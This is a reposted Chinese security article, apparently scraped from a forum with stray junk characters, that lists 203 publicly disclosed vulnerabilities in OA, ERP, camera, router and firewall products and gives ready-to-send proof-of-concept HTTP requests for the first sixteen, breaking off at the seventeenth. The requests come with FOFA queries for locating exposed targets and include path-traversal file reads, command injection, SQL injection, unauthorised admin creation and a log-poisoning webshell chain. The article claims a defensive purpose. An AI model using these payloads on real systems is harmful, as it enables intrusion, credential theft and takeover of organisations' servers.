互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
+ ]# ~( Q2 o) X道一安全 2024-06-05 07:41 北京
. t5 H& R& @' |以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

' z9 n& G, K' W漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
5 a% V9 Q9 s/ \- u/ I9 K$ \
& S6 Z" d* W  y, t% I安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
" k0 y" [9 u0 ~# U  a; R* s- [
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
4 {: w0 s+ Q9 |
( a, c% G; {6 C9 W3 U5 }. Z# x
7 o( H4 U. ^% ]; Q* x2 x; z声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
, b1 v1 q- L. H
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
2 g2 Q5 O1 T9 g; f  X. ~1 p
8 u+ c" Q; h3 C) i! X

4 M, S1 Y/ O9 J1 |$ ]( A2 e目录

; Q% N  A# ~7 ]- }/ [1 X! g01
" A7 Z2 a" C, O8 x+ j% Z% d4 c
. D+ t/ T4 \/ @" q! ~( ^1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
6 V% t; c3 Y- J. R5 e2 U4 I3. EasyCVR智能边缘网关 userlist 信息泄漏
/ y( \- y; K0 V. M4. EasyCVR视频管理平台存在任意用户添加
  D/ X% ~" D* B+ R5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
' L8 c) n( ^' ~# r7. 鸿运主动安全监控云平台任意文件下载
9 C; }5 E# [0 j; Z8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
8 X; B( _8 b; I; W+ R$ |) `' Z: n10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
/ J& \* E% b6 }12. Jorani < 1.0.2 远程命令执行
% f9 m0 i7 U" a, [+ z/ b# Y13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
8 i" ?) z( D: V6 H+ l" s15. 华夏ERP getAllList信息泄露
; |4 {2 n) v/ R0 {; `16. 红帆HFOffice医微云SQL注入
, j3 h* O1 c% v6 J3 O; _3 \, p17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
4 D( J' z2 s' o# h9 L19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
3 |. R4 }5 G. z( E6 @# c5 D22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
% E; D  O& f" H* C25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
! Y( t! a  P) Q28. 用友NC grouptemplet 任意文件上传
% h- P5 K0 G9 ]  z8 |7 p/ |1 S2 M29. 用友NC down/bill SQL注入
0 G  N7 S1 g' X( g30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
2 S+ t2 @' _* _' R  l32. 用友NC complainbilldetail SQL注入
, D4 ]* E# W) r1 B* ~- x* b33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
# ]+ e7 |; J: n+ I/ C- o. w37. 用友NC-Cloud IUpdateService XXE
* K. K  p( K: A& B# r' r7 k$ b38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
; `0 z: E# N4 e) ?0 c# C  N42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
4 Z/ b. J0 d4 n4 |47. 用友GRP A++Cloud 政府财务云 任意文件读取
! O1 f) z6 D. e9 O& m5 ?9 v& {48. 用友U8 CRM swfupload 任意文件上传
, u- c5 W9 r* q" ^& N49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 {( s4 ^1 l0 v- U' g50. QDocs Smart School 6.4.1 filterRecords SQL注入
1 G2 Q3 [7 e1 D51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
0 n" l# n. X8 S, y, L" n+ w+ e& B53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
# o3 J0 x& c9 b! P8 l( v56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
0 {9 \( ^# _4 ]+ r% u58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! N" y/ {2 Z% [! L60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
2 J7 T! j7 z3 `- g0 ^& b! e62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
% l6 q4 n7 I4 `* U3 \  m66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
' y  W$ O- E  ^1 G; F9 e68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
0 Y- Z! S/ v9 O3 Y70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
0 z8 S7 [5 i5 N) T4 W+ w& X4 I/ {2 y+ c73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
2 K5 M+ h9 @1 D75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
% V( u9 S9 l, W( h* |7 ^82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
4 I$ R  l- F) M' G2 K88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
  }4 m; n- Y/ H& {6 @92. 海康威视运行管理中心session命令执行
7 J' g- `3 Q0 [' r2 \93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
% N: ^/ _7 a0 I94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
3 J$ a: G: g& m9 ?95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
6 t4 i/ B$ X" q- S2 ^100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
  f# L8 T" n' _0 r$ B101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
, H5 H# k" l9 V7 R  o" ]! u, ^103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
3 V' I, h8 U# V' L1 X4 _+ O( U7 T105. SpringBlade v3.2.0 export-user SQL 注入
. d: D+ O: O! p  @106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
# y9 \" d$ S. a' u8 \3 E108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
- C1 ]/ P6 }8 Y+ x112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
6 o6 [2 z3 ?5 X6 s120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
  \4 S3 X% F/ z' P6 q4 P1 V124. 湖南建研工程质量检测系统任意文件上传
2 J: G" t) V" N. H125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
" Y' R+ l( c6 T0 _1 a( H129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
/ E" M2 T( u9 U! |  Q133. H5 云商城 file.php 文件上传
7 v+ A6 |2 ?  k- `134. 网康NS-ASG应用安全网关index.php sql注入
$ n) }8 O  Z; i2 Z, O! k135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
' H3 b0 {8 B/ Z2 l136. NextChat cors SSRF
% ?" b- M8 `+ r137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
- h8 h3 [0 E% k/ q6 H, Y9 U140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* x" n6 r  m. j5 B141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
5 @- p" j% S- m8 a) g' B* Q142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
- @" u+ B$ G% z* e" D3 z# i144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
1 I! G5 d  h# ?( {% n148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
5 D+ n2 j" T' Y# e+ I0 W150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
* K: u0 z; b$ I154. 天维尔消防救援作战调度平台 SQL注入
  Z" K& k, r0 m/ e" k155. 六零导航页 file.php 任意文件上传
% Y* d  k& v" J- f' x0 t156. TBK DVR-4104/DVR-4216 操作系统命令注入
6 H& D) R- q/ B$ b" N4 `$ E2 k& J4 k157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
5 u5 K! N9 Z7 V$ t# D$ S159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
+ L/ f9 D# a3 G9 D1 M3 u160. Sonatype Nexus Repository 3目录遍历与文件读取
- N1 s* d6 p5 G, Y; }161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
' N* a. B* s! w3 `6 F8 ^% p167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
: h! D0 Y5 k/ T5 K; U- `7 [, w( c169. 宏景EHR downlawbase SQL注入
# C; M9 s3 v; V' z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
/ }$ `  B% z4 B+ [7 L173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
2 d: D: d) w$ @: T# s179. 建文工程管理系统存在任意文件读取
  s0 A4 J7 k2 d180. 帮管客 CRM jiliyu SQL注入
# x5 S4 w; I. S2 I0 [, }( Q5 a181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
5 v/ W3 e8 Y9 i2 `+ H7 j, M184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
7 [4 i- Z$ N' E/ x* q186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
. i4 i! ]7 I0 K2 `191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
+ n# ?; c) Y0 h8 f! j1 N192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
% k+ r% M+ G. \8 g195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
. U4 D8 u/ L+ F' |* V9 @8 z196. 河南省风速科技统一认证平台密码重置
4 H2 R/ X# r* ?197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
3 X5 a) {% T$ L199. cockpit系统assetsmanager_upload接口 文件上传
- E2 T9 r" S* O200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

1 s* O- a" Q, P4 L02

- o- Q7 Q# U) w3 }* `/ r! ^  M% L; W1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
4 B- M' k. v& Q& L6 P$ eGET /mem_tracker HTTP/1.1
7 q2 p1 I; a- R# p' |Host: URL

5 ^' F' a" {/ j! j
" f: ~1 J; g3 ]/ i5 Z1 |2. Casdoor系统static任意文件读取
; A8 r+ z2 s; t* dFOFA ：title="Casdoor"
" y+ f, V( [0 d) G, BGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
& \0 e. [; `: U  {1 _9 x% A  S+ {

" M# D1 o8 O' }& ]) b( ?3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
* Z$ z1 f' w3 G. I
' B, H) I. j' z9 i
5 n# J: w/ ?0 H# O* Q+ c3 H; l4. EasyCVR视频管理平台存在任意用户添加
# _. t5 w, N2 e7 W$ x6 qFOFA ：title="EasyCVR"
/ W8 _; x6 q: j6 b$ X
* I: M! t+ p! xpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
2 g. Z/ x: n& yHost: your-ip
5 q8 e4 B9 D9 r/ s5 n2 z* c4 R) w! D1 IContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 w% [8 Q; K) Q/ G
- r3 A9 P3 `+ x: Wname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
8 f6 J; I" J) e( Q$ B
( |, w- k, j; _/ K
4 [- A" W5 q5 P; l# U2 _5. NUUO NVR 视频存储管理设备远程命令执行
: Z1 W! f5 f& U/ F) h: Y) u, nFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
2 X1 |4 M2 S+ lHost: xx.xx.xx.xx
; E0 f8 G6 _8 u  P
# w( t0 R3 m/ |% h/ l
6. 深信服 NGAF 任意文件读取
- v- P- I5 ]4 w* }! e' I1 ^FOFA：title="SANGFOR | NGAF"
" s) ?' r4 |2 eGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
- B% c; O9 U3 {  a/ t& P% h9 N& SHost:


7. 鸿运主动安全监控云平台任意文件下载
9 P/ {! x( T7 d$ SFOFA：body="./open/webApi.html"
; r2 Z9 L6 @( L7 o6 JGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
1 K- |3 H  H. w: @+ t% JHost:

1 c4 l5 ?) _; F4 k6 V
1 a/ g; m) M; @5 G. r. e8. 斐讯 Phicomm 路由器RCE
$ k  [& W/ W. y3 d8 rFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 Z) ]: y1 |$ U
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
" u8 |* `$ q- U- @" I
. R& N- M7 k5 ]3 n5 ~/ P%s
/ M& T" Z1 c: X; T3 s& _5 u7 W------WebKitFormBoundaryxbgjoytz
: b3 e1 E' \1 O! m) x  T% g0 K% WContent-Disposition: form-data; name="wifiRebootrange"

7 Z  R( K* `: F7 d1 H8 [% R4 a12:00; id;
------WebKitFormBoundaryxbgjoytz
- o0 O- y. X& z- vContent-Disposition: form-data; name="wifiRebootendrange"
. Q; y/ f! d8 ]  s2 x
3 Y0 A0 |: ^9 q- K6 K%s:
# }( u* ^) c/ S! p" [! j+ Z------WebKitFormBoundaryxbgjoytz
4 R  b* g% ~8 NContent-Disposition: form-data; name="cururl2"
7 S% }) d8 V' H# F2 `- v' q

------WebKitFormBoundaryxbgjoytz--

# E1 [5 M. o" W, r8 n3 U3 W& h
! ~* I( t+ _7 M7 F: r; y2 J9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
% [& G! T/ [+ O+ ]; ]4 yGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
2 R3 L3 u, O& `) _3 m  j) {. B* M

) z; g; Y+ ^$ i& {payload为下列语句的二次Url编码

, M! c2 k: E% n9 C2 F' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
# V* j9 V; V/ X0 j' u
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
* b" x5 ^, D% O  Q% i
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
; X3 B2 T7 P4 }Host: x.x.x.x:xx
, A0 s3 K+ ^; K5 N; ?. S6 X' M1 h4 ]) ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
+ J# U  c/ g" D/ j& ?9 d7 K( e8 gContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( m5 [  h& v7 W$ J0 kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
* J$ |+ c& q- H* N; G& ~; P0 I# `+ O
5 [2 `# @0 g  r' `7 L------WebKitFormBoundaryxdgaqmqu
! L+ s, [' N- d) p9 X" `Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

( c6 }7 u0 l+ r; t& Djmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

% j! u' D. H% y" X) @
. B/ J  L: L* O2 }" p11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ l4 Y) l1 @9 e5 r8 lHost: 127.0.0.1
5 z. `& H9 `. c) i8 \Pragma: no-cache
" g: X' K9 g7 z2 NCache-Control: no-cache
Upgrade-Insecure-Requests: 1
# v9 P+ O/ D2 }9 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; H) I8 P8 a! n, F% X; O% HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
4 S: S9 X! g7 x$ V$ H8 Y- v3 B4 sUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
4 v/ f. M9 q, O# h4 KConnection: close
Accept-Encoding: gzip
' V7 r7 J$ @# Q; k/ }. B

响应中csrf_cookie_jorani用于后续请求
, B' @+ l& B0 l; ^HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 E0 S1 t1 C- ~$ }& u$ bLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
" j0 O4 y9 _. w3 y! J+ M4 \Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
. Y$ L( {) Q( gSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
- S: j% L- x8 b3 z) u0 f1 @) ~Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
3 u% s5 I5 k6 [& |POST /session/login HTTP/1.1
Host: 192.168.190.30
/ ?* v# d1 G" j  T6 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
5 w3 O  P8 \3 T9 s6 qContent-Length: 252
Content-Type: application/x-www-form-urlencoded
: S* a0 d" d! @$ N" f, e+ LCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

* a% @5 c& L$ T+ x' G: qcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
; w9 T) H6 ^/ [4 \1 O3 _GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
8 K6 R; ]5 M& z$ b$ v& Y7 v- ~Accept-Encoding: gzip


$ s* C* T& e( h3 I  u8 i' Q13. 红帆iOffice ioFileDown任意文件读取
* I  X2 y) O: e7 n- v% ZFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
0 `9 p: Z" [; {8 z- ~/ YAccept-Encoding: gzip


, A! s6 x8 @, F" c; d14. 华夏ERP（jshERP）敏感信息泄露
% g& Q# j6 ?; ?0 {$ R+ EFOFA：body="jshERP-boot"
+ @! r& q) f$ S4 g1 v1 _泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
( X' o8 z7 ~9 B2 d0 t& D$ vConnection: close
Accept: */*
7 t, }8 C- s, j" s  O+ AAccept-Language: en
Accept-Encoding: gzip
/ D1 C' C# V7 x7 b9 f
- c5 M; s; O( y1 X% d) a
15. 华夏ERP getAllList信息泄露
) @8 n" h" _4 c# WCVE-2024-0490
8 C6 V4 Z7 B3 z7 O3 aFOFA：body="jshERP-boot"
泄露内容包括用户名密码
; x+ k) t/ |, N- Y. K6 vGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
# V2 F" ]2 ^, m) `Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
* Q- `1 B( i( C- bConnection: close
( [. ^, Z: ?# V4 o$ OAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
$ t+ ?' s0 ~. J8 `8 h6 X) nsec-ch-ua-platform: Windows
* l0 @7 I. f' @# T( r! PAccept-Encoding: gzip

) H0 E! q8 ?, m5 y  {! Z' A3 N
) S! w% k  e4 c8 [8 n0 `16.  红帆HFOffice医微云SQL注入
5 d1 n" d" ^! `FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
# ?8 |9 s5 \/ I9 P2 y! iGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
/ U- ^' n4 y( w) C( S5 pHost: x.x.x.x
) ^& u* b, _* \* P3 \User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
' h2 l' e; E* V0 [8 LConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
" f' \8 q2 k9 `# s9 U9 @
  u; W5 ]( n+ w: W6 o
# v2 P/ y$ }2 X, X. n7 q( J  A17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
